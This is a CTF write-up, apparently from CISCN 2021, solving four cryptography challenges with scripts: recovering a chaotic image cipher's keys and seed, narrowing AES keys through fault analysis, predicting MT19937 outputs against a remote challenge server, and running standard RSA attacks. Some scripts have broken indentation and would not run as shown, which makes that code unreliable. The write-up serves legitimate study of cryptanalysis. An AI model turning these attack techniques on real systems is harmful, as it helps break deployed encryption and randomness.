testimage = [205, 237, 6, 158, 24, 119, 213, 32, 74, 151, 142, 186, 57, 28, 113, 62, 165, 20, 190, 37, 159, 137, 196, 44, 97, 37, 7, 222, 220, 95, 4, 66, 0, 28, 199, 142, 95, 105, 119, 232, 250, 215, 60, 162, 91, 211, 63, 30, 91, 108, 217, 206, 80, 193, 230, 42, 221, 71, 136, 115, 22, 176, 91, 57, 61, 3, 87, 73, 250, 121, 51, 72, 83, 120, 77, 199, 236, 190, 249, 116, 45, 6, 134, 110, 149, 94, 214, 232, 153, 213, 119, 98, 81, 203, 240, 114, 240, 29, 122, 188, 156, 53, 128, 185, 40, 147, 245, 204, 47, 101, 80, 229, 41, 150, 28, 195, 25, 235, 119, 6, 192, 8, 73, 255, 159, 172, 77, 94, 254, 104, 236, 219, 141, 91, 195, 162, 97, 56, 252, 173, 163, 43, 167, 214, 50, 73, 115, 190, 254, 53, 61, 77, 138, 192, 15, 4, 190, 27, 37, 108, 101, 135, 90, 215, 106, 243, 112, 111, 106, 89, 143, 150, 185, 142, 192, 176, 48, 138, 164, 185, 61, 77, 72, 0, 17, 203, 210, 71, 186, 49, 162, 250, 218, 219, 195, 63, 248, 220, 155, 180, 219, 132, 219, 94, 144, 247, 211, 95, 70, 227, 222, 31, 69, 24, 13, 216, 185, 108, 137, 57, 186, 211, 55, 27, 158, 241, 223, 21, 134, 106, 152, 127, 187, 245, 246, 131, 176, 177, 228, 100, 112, 11, 84, 61, 193, 42, 41, 69, 229, 145, 254, 138, 3, 153, 123, 31]
key = []
for i in range(16):
    for j in range(16):
        index = 16 * i + j
pixel = testimage[index]
pix = testcipher[index]
if pix ^ pixel & 0xff not in key:
    key.append(pix ^ pixel & 0xff)
if pix ^ ~pixel & 0xff not in key:
    key.append(pix ^ ~pixel & 0xff)
print(key)  # [78, 177, 169, 86]

得到key1,key2的四个可能值,推出testimage的可能bins值

key = [78, 177, 169, 86]
bins = []
for key1 in key:
    for key2 in key:
        bn = ''
    for i in range(16):
        for j in range(16):
            index = 16 * i + j
            pix = testimage[index]
            pix2 = testcipher[index]
            if (pix ^ pix2) & 0xff == key1:
                ch = '00'
            elif (~pix ^ pix2) & 0xff == key1:
                ch = '01'
            elif (pix ^ pix2) & 0xff == key2:
                ch = '10'
            elif (~pix ^ pix2) & 0xff == key2:
                ch = '11'
            bn += ch
            print(key1, key2, (pix ^ pix2) & 0xff, (~pix ^ pix2) & 0xff, ch)
        bins.append(bn)
print(bins)
# bins = [ '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001100011110001001000000001000101100011011000011100111010100110101011100000000001010100010001100011100011010011010110001110011100011110100111011100101011110100110011001010111100101110101101111010010111110010010000100110010011111100010011110000010001100111100101001000001011010100100001001101111100111111111111010001011001110001100100111111000001110100100010101011110011101100101001110110000000001101100011011100010011111011010011110001011001110111111001100100001011110001011001001101000111101111111011011101', '00010001110010100001001100000001000101110010011100011000101111110111111110110000000001010100010001110010110010010010010111001011011000011011110110011000111110100100100010001111101000111011111001101111010110100011010000110111010010101000010010100000010001110110110101001100001110010100110001001001101000101010101010010001011101100001110100101010000001100100110011111110100010111000111101100111000000001001110010011000010010101110010010100001011101100110101101110100001110100001011101001001000110111010101110011001', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100100111110100011001010100010000100111001001001101111010100010101011100101010100000001000100100111100111000111000010011110001101001110100011001101101011110001110111011010111101101110101100111010000011110110000101100010000111111101000111110101000100100011100000011001011011000001100100011100111101111111111111000100001000110100100001111111010100110001100110101011110111101101101000110010010101011100100111001101000111111011000111110100001000110011111000100001011011110100001000011100010011101111111011001100', '01000100110110100100011101010100010000110110001101001001101111110011111110110101010100000001000100110110110110000110000011011011001001001011110010001001111110100001100110011111101001111011111000101111000010100111000101110011000110101001000110100101000100110010110000011101011110000001110100011000101001101010101010000100001100100100110001101010010100100001110111111110100110111001111100100011010101011000110110001001000110101110000110100100001100100010101100110001011110100100001100011000010010111010101110001000', '10111011001001011011100010101011101111001001110010110110010000001100000001001010101011111110111011001001001001111001111100100100110110110100001101110110000001011110011001100000010110000100000111010000111101011000111010001100111001010110111001011010111011001101001111100010100001111110001011100111010110010101010101111011110011011011001110010101101011011110001000000001011001000110000011011100101010100111001001110110111001010001111001011011110011011101010011001110100001011011110011100111101101000101010001110111', '11101110001101011110110011111110111010001101100011100111010000001000000001001111111110101011101110001101001101101101101000110100100111100100001001100111000001011011011101110000010111000100000110010000101001011100101111001000101101010111101101011111101110001001001010110011110001101011001110110110010111010101010101101110100010011110001011010101111110011011001100000001011101000111000010011000111111110110001101100111101101010001101101011110100010011001010010001011110001011110100010110110111001000101010001100110', '10101010000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '01010101000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '10111011011000001011100110101011101111011000110110110010000101011101010100011010101011111110111011011000011000111000111101100001110010110001011100110010010100001110001000100101000010010001010011000101111100001001111010011101111000000010111000001010111011011100011111100110100100111110011011100011000010000000000000111011110111001011011110000000101011001110011001010100001000010010010111001101101010100011011000110010111000000100111000001011110111001100000111011110100100001011110111100011101100010000000100110011', '11101110011100001110110111111110111010011100100111100011000101011001010100011111111110101011101110011100011100101100101001110001100011100001011000100011010100001011001100110101000011010001010010000101101000001101101111011001101100000011101100001111101110011000011010110111110100101011011110110010000011000000000000101110100110001110011011000000111110001011011101010100001100010011010110001001111111110010011100100011101100000100101100001110100110001000000110011011110100001110100110110010111000010000000100100010', '10101010010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000', '00000000010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000']

继而爆破r和x0

key = [78, 177, 169, 86]
bins = [ '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001010000000001000000000001000101010000010100010100000000000101010101010000000001010100010001010000000000010000010101000000010100010101010101010100000000000100000000000000000000000000000001010101010101010000010000000101010000000000010000000000010001010101010101000000000000010100000001000001010100000000000000010001010101010001010100000000000001010100000000000000000000000000000001010101000000000001010000010100010000000000010000000001010101010101010101010100000000000001010101000001000101010101010101010101', '00010001100011110001001000000001000101100011011000011100111010100110101011100000000001010100010001100011100011010011010110001110011100011110100111011100101011110100110011001010111100101110101101111010010111110010010000100110010011111100010011110000010001100111100101001000001011010100100001001101111100111111111111010001011001110001100100111111000001110100100010101011110011101100101001110110000000001101100011011100010011111011010011110001011001110111111001100100001011110001011001001101000111101111111011011101', '00010001110010100001001100000001000101110010011100011000101111110111111110110000000001010100010001110010110010010010010111001011011000011011110110011000111110100100100010001111101000111011111001101111010110100011010000110111010010101000010010100000010001110110110101001100001110010100110001001001101000101010101010010001011101100001110100101010000001100100110011111110100010111000111101100111000000001001110010011000010010101110010010100001011101100110101101110100001110100001011101001001000110111010101110011001', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100000101010100010101010100010000000101000001000001010101010000000000000101010100000001000100000101010101000101000000010101000001000000000000000001010101010001010101010101010101010101010100000000000000000101000101010000000101010101000101010101000100000000000000010101010101000001010100010100000001010101010101000100000000000100000001010101010100000001010101010101010101010101010100000000010101010100000101000001000101010101000101010100000000000000000000000001010101010100000000010100010000000000000000000000', '01000100100111110100011001010100010000100111001001001101111010100010101011100101010100000001000100100111100111000111000010011110001101001110100011001101101011110001110111011010111101101110101100111010000011110110000101100010000111111101000111110101000100100011100000011001011011000001100100011100111101111111111111000100001000110100100001111111010100110001100110101011110111101101101000110010010101011100100111001101000111111011000111110100001000110011111000100001011011110100001000011100010011101111111011001100', '01000100110110100100011101010100010000110110001101001001101111110011111110110101010100000001000100110110110110000110000011011011001001001011110010001001111110100001100110011111101001111011111000101111000010100111000101110011000110101001000110100101000100110010110000011101011110000001110100011000101001101010101010000100001100100100110001101010010100100001110111111110100110111001111100100011010101011000110110001001000110101110000110100100001100100010101100110001011110100100001100011000010010111010101110001000', '10111011001001011011100010101011101111001001110010110110010000001100000001001010101011111110111011001001001001111001111100100100110110110100001101110110000001011110011001100000010110000100000111010000111101011000111010001100111001010110111001011010111011001101001111100010100001111110001011100111010110010101010101111011110011011011001110010101101011011110001000000001011001000110000011011100101010100111001001110110111001010001111001011011110011011101010011001110100001011011110011100111101101000101010001110111', '11101110001101011110110011111110111010001101100011100111010000001000000001001111111110101011101110001101001101101101101000110100100111100100001001100111000001011011011101110000010111000100000110010000101001011100101111001000101101010111101101011111101110001001001010110011110001101011001110110110010111010101010101101110100010011110001011010101111110011011001100000001011101000111000010011000111111110110001101100111101101010001101101011110100010011001010010001011110001011110100010110110111001000101010001100110', '10101010000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '01010101000001010101010000000000000000000001010000000101010000000000000001000000000000000000000000000001000001010101010100000100000101010100000001010101000001010101010101010000010101000100000101010000000001010100000000000000000001010101010101010101010101000001000000000000000001010101000000000101010101010101010101010101010000010101000000010101010101010101000000000001010101000101000000010100000000000101000001010101010101010001010101010101010000010101010000000000000001010101010000000101010101000101010001010101', '10111011011000001011100110101011101111011000110110110010000101011101010100011010101011111110111011011000011000111000111101100001110010110001011100110010010100001110001000100101000010010001010011000101111100001001111010011101111000000010111000001010111011011100011111100110100100111110011011100011000010000000000000111011110111001011011110000000101011001110011001010100001000010010010111001101101010100011011000110010111000000100111000001011110111001100000111011110100100001011110111100011101100010000000100110011', '11101110011100001110110111111110111010011100100111100011000101011001010100011111111110101011101110011100011100101100101001110001100011100001011000100011010100001011001100110101000011010001010010000101101000001101101111011001101100000011101100001111101110011000011010110111110100101011011110110010000011000000000000101110100110001110011011000000111110001011011101010100001100010011010110001001111111110010011100100011101100000100101100001110100110001000000110011011110100001110100110110010111000010000000100100010', '10101010010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000',
'00000000010100000000000101010101010101010100000101010000000101010101010100010101010101010101010101010100010100000000000001010001010000000001010100000000010100000000000000000101000000010001010000000101010100000001010101010101010100000000000000000000000000010100010101010101010100000000010101010000000000000000000000000000000101000000010101000000000000000000010101010100000000010000010101000001010101010000010100000000000000000100000000000000000101000000000101010101010100000000000101010000000000010000000100000000']
def bintest(r, x0):
    assert len(str(r)) == 3
    num = 16 * 16 / 8
    seqs = []
    x = x0
    bs = ''
    tmp = []
    for i in range(num):
        x = round(r * x * (3 - x), 6)
        tmp.append(x)
        seqs.append(int(x * 22000))
    for x in seqs:
        bin_x = bin(x)[2:]
        if len(bin_x) < 16:
            bin_x = '0' * (16 - len(bin_x)) + bin_x
        bs += bin_x
    return bs
for x0 in range(1, 1000000, 1):
    x = round(x0 / float(1000000), 6)
    for i in range(0, 100, 1):
        r = i / float(10)
        try:
            bns = bintest(r, x)
            if bns in bins:
            print 'x0 = ' + str(x), 'r = ' + str(r)
            exit(0)
        except Exception as e:
            pass

得到r = 1.2,x0 = 0.840264

同时反推出key1为169,key2为78,直接根据加密特性再对flagimage进行一次加密即可得到原始image,md5后即为flag

import hashlib
def generate(x):
    return round(r * x * (3 - x), 6)
def encrypt(pixel, key1, key2, x0, m, n):
    num = m * n / 8
    seqs = []
    x = x0
    bins = ''
    tmp = []
    for i in range(num):
        x = generate(x)
        tmp.append(x)
        seqs.append(int(x * 22000))
    for x in seqs:
        bin_x = bin(x)[2:]
        if len(bin_x) < 16:
            bin_x = '0' * (16 - len(bin_x)) + bin_x
        bins += bin_x
    assert (len(pixel) == m * n)
    cipher = [0 for i in range(m) for j in range(n)]
    for i in range(m):
        for j in range(n):
            index = n * i + j
            ch = int(bins[2 * index:2 * index + 2], 2)
            pix = pixel[index]
            if ch == 0:
                pix = (pix ^ key1) & 0xff
            if ch == 1:
                pix = (~pix ^ key1) & 0xff
            if ch == 2:
                pix = (pix ^ key2) & 0xff
            if ch == 3:
                pix = (~pix ^ key2) & 0xff
            cipher[index] = pix
    return cipher
key1 = 169
key2 = 78
x0 = 0.840264
r = 1.2
flagimage = [198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217, 179, 136, 107, 190, 62, 4, 6, 90,
             53, 105, 238, 117, 44, 5, 116, 132, 195, 214, 171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41,
             211, 56, 139, 135, 225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173, 186, 166,
             65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48, 103, 163, 31, 189, 37, 124, 106, 249,
             86, 188, 86, 233, 41, 250, 89, 7, 212, 234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214,
             210, 188, 84, 216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34, 85, 77, 29,
             182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21, 117, 239, 102, 129, 2, 253, 80, 53,
             61, 184, 220, 41, 82, 37, 140, 23, 143, 179, 53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48,
             254, 251, 89, 195, 8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104, 16, 192,
             239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242, 73, 51, 46, 98, 137, 163, 152, 147,
             95, 223, 3, 15, 112, 85, 215, 133, 131, 240, 239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9,
             157, 99, 150, 47, 118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86, 193, 252,
             21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4, 246, 158, 52, 118, 242, 195, 54,
             139, 232, 100, 31, 11, 233, 58, 100, 101, 137, 83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177,
             166, 161, 20, 116, 122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192, 147, 5,
             130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137, 33, 84, 100, 7, 239, 219, 83, 112,
             189, 166, 58, 93, 141, 30, 198, 220, 196, 118, 172, 5, 45]
print(encrypt(flagimage, key1, key2, x0, 24, 16))
print(hashlib.md5(''.join(map(chr, encrypt(flagimage, key1, key2, x0, 24, 16)))).hexdigest())


有一点要注意的是,所有代码放在python2环境运行,不然连md5加密值都会不同。

CISCN{7fa176002ced947e49f1752c1eb9dd62}

oddaes | Solved | Tr0jAn

chall调用了aes,常规CBC加密模式,只有密文和进行了部分混淆的密文,给了key的序列验证md5值,aes是正常的AES,GitHub上工具爆破得到可能的key。

root@loclohost~ ./dfa 32 -1 input-1.csv
(0) Analysing ciphertext pair:
a3f7ea6521a0c7a480653339edc261b4 b784d7dda768571f38562cf19218ab75
Number of core(s): 32 
----------------------------------------------------
Fault location: 0
Applying standard filter. Done.
Size of keyspace: 7770931200 = 2^32.855440 
Applying improved filter. Done.
Size of keyspace: 474 = 2^8.888743 
......

大概要跑10-20分钟,得到4226个可能的key

写脚本对key进行校验,进而解密即可

from aes import AES
import hashlib
import os
f = open('keys-0.csv', 'r')
cipher1 = '973f5ae78bc933a8fc7f7ab98d53d16f'
cipher2 = '628aab012199cdab83cc1aa72204ea98'
plain = os.urandom(16)
for key in f.readlines():
    cipher, k = AES(bytes.fromhex(key)).encrypt_block_(plain, 123)
    piece1 = [k[0], k[1], k[4], k[7], k[10], k[11], k[13], k[14]]
    piece2 = [k[2], k[3], k[5], k[6], k[8], k[9], k[12], k[15]]
    if hashlib.md5(bytes(piece1)).hexdigest() == cipher1 and hashlib.md5(bytes(piece2)).hexdigest().replace('0x', '') == cipher2:
        print('key :' + key)
        print('flag:' + hashlib.md5(bytes.fromhex(key)).hexdigest())
        exit(0)

CISCN{8e786b3efe3fa5c0984894a7b75e8324}

homo | Solved | 1cePeak

解题思路:
服务器给了我们两个选择,但是一开始只能选择game(),只有在game()里猜对了200个以上数字才能使allowed值为真,进而可以选择fun()函数帮我们解密。
开始game()函数的时候,会重置伪随机数种子:random.seed(os.urandom(32)),然后进行512次random.getrandbits(64),getrandbits内部是使用MT19937实现的,所以我们需要得到624个状态(624x32),即312个64bits的输出。最后剩下200个都可以准确预测出来。
然后是fun()部分,虽然可以帮助解密,但是不能直接发送之前给的密文,会有一个检查,所以需要对密文改动一点,然后由于lwe的对error的容错性,不会影响到正常解密,因此还是可以得到解密后的值的。

from mt19937predictor import MT19937Predictor
from Crypto.Util.number import *
from pwn import *
predictor = MT19937Predictor()
r = remote('124.71.224.75', 25185)
def recv_list():
    return [int(i) for i in r.recvline().decode().strip("[]\n").split(", ")]


p0, p1, c0, c1 = [recv_list() for _ in range(4)]
r.recvlines(2)
r.sendline(b"1")
r.recvline()
for i in range(512):
    if i < 312:
        r.sendlineafter(b'your number:', b'0')
        r.recvuntil(b'lose!my number is ')
        x = int(r.recvline().decode().strip('\n'))
        predictor.setrandbits(x, 64)
    else:
        x = predictor.getrandbits(64)
        r.sendlineafter(b'your number:', str(x).encode())
        r.recvline()
        r.recvlines(2)
        r.sendline(b"2")
    c0[0] += 1
    c1[0] += 1
    r.sendlineafter(b'c0:', str(c0).strip('[]').encode())
    r.sendlineafter(b'c1:', str(c1).strip('[]').encode())
    r.recvline()
    flag = long_to_bytes(int(''.join([str(i) for i in recv_list()]), 2))
    r.close()
    print(flag)

CISCN{Po66p-CDGTf-wtqDH-u4C3T-ob0Jo-}

rsa | Solved | Tr0jAn

题目源码:

from flag import text,flag
import md5
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
assert md5.new(text).hexdigest() == flag[6:-1]
msg1 = text[:xx]
msg2 = text[xx:yy]
msg3 = text[yy:]
msg1 = bytes_to_long(msg1)
msg2 = bytes_to_long(msg2)
msg3 = bytes_to_long(msg3)
p1 = getPrime(512)
q1 = getPrime(512)
N1 = p1*q1
e1 = 3
print pow(msg1,e1,N1)
print (e1,N1)
p2 = getPrime(512)
q2 = getPrime(512)
N2 = p2*q2
e2 = 17
e3 = 65537
print pow(msg2,e2,N2)
print pow(msg2,e3,N2)
print (e2,N2)
print (e3,N2)
p3 = getPrime(512)
q3 = getPrime(512)
N3 = p3*q3
print pow(msg3,e3,N3)
print (e3,N3)
print p3>>200

题目很明显考的也很基本,RSA相关常见的攻击
总共分为三部分:
1.低加密指数攻击

# part1 python 低加密指数攻击
import gmpy2
e = 3
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
result = gmpy2.iroot(c, 3)
if result[1]:
    print(' [-]The m is:', '{:x}'.format(result[0]))

msg第一部分如下:

# msg1 = 200a4f2077696c6420576573742057696e642c2074686f7520627265617468206f6620417574756d

2.共模攻击

# part2 python 共模攻击
import gmpy2
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e = [17, 65537]
c = [54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610, 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950]
c1 = c[0]
c2 = c[1]
e1 = e[0]
e2 = e[1]
s = gmpy2.gcdext(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1 < 0:
    s1 = -s1
    c1 = gmpy2.invert(c1, n)
elif s2 < 0:
    s2 = -s2
    c2 = gmpy2.invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print(' [-]m is:' + '{:x}'.format(int(m)))

msg第二部分如下:

# msg2 = 6e2773206265696e672c0a54686f752c2066726f6d2077686f736520756e7365656e2070726573656e636520746865206c656176657320646561640a4172652064726976656e2c206c696b652067686f7374732066726f6d20616e20656e6368616e74657220666c6565696e672c0a59656c6c6f772c2061

3.p高位泄露
先计算出p,q,而后常规解密即可

# part3 sage p高位泄露
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
e = 65537
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR. < x > = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2 ^ kbits, beta=0.4)
if roots:
    p = p4 + int(roots[0])
print("n: " + str(n))
print("p: " + str(p))
print("q: " + str(n // p))
# python
import gmpy2
c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
q = 9918033198963879798362329507637256706010562962487329742400933192721549307087332482107381554368538995776396557446746866861247191248938339640876368268930589
d = gmpy2.invert(e, (p-1)*(q-1))
print(' [-]m is:' + str(hex(pow(c, d, n))).replace('0x', ''))

msg第三部分如下:

# msg3 = 6e6420626c61636b2c20616e642070616c652c20616e6420686563746963207265642c0a50657374696c656e63652d73747269636b656e206d756c746974756465733a204f2074686f752c0a57686f2063686172696f7465737420746f207468656972206461726b2077696e747279206265640a

将msg拼接并求md5,即为flag

import hashlib
from Crypto.Util.number import long_to_bytes
print(hashlib.md5(long_to_bytes(int(msg1+msg2+msg3, 16))).hexdigest())

flag如下:

CISCN{3943e8843a19149497956901e5d98639}
最后修改:2021 年 11 月 03 日 11 : 48 AM
请作者喝杯奶茶吧~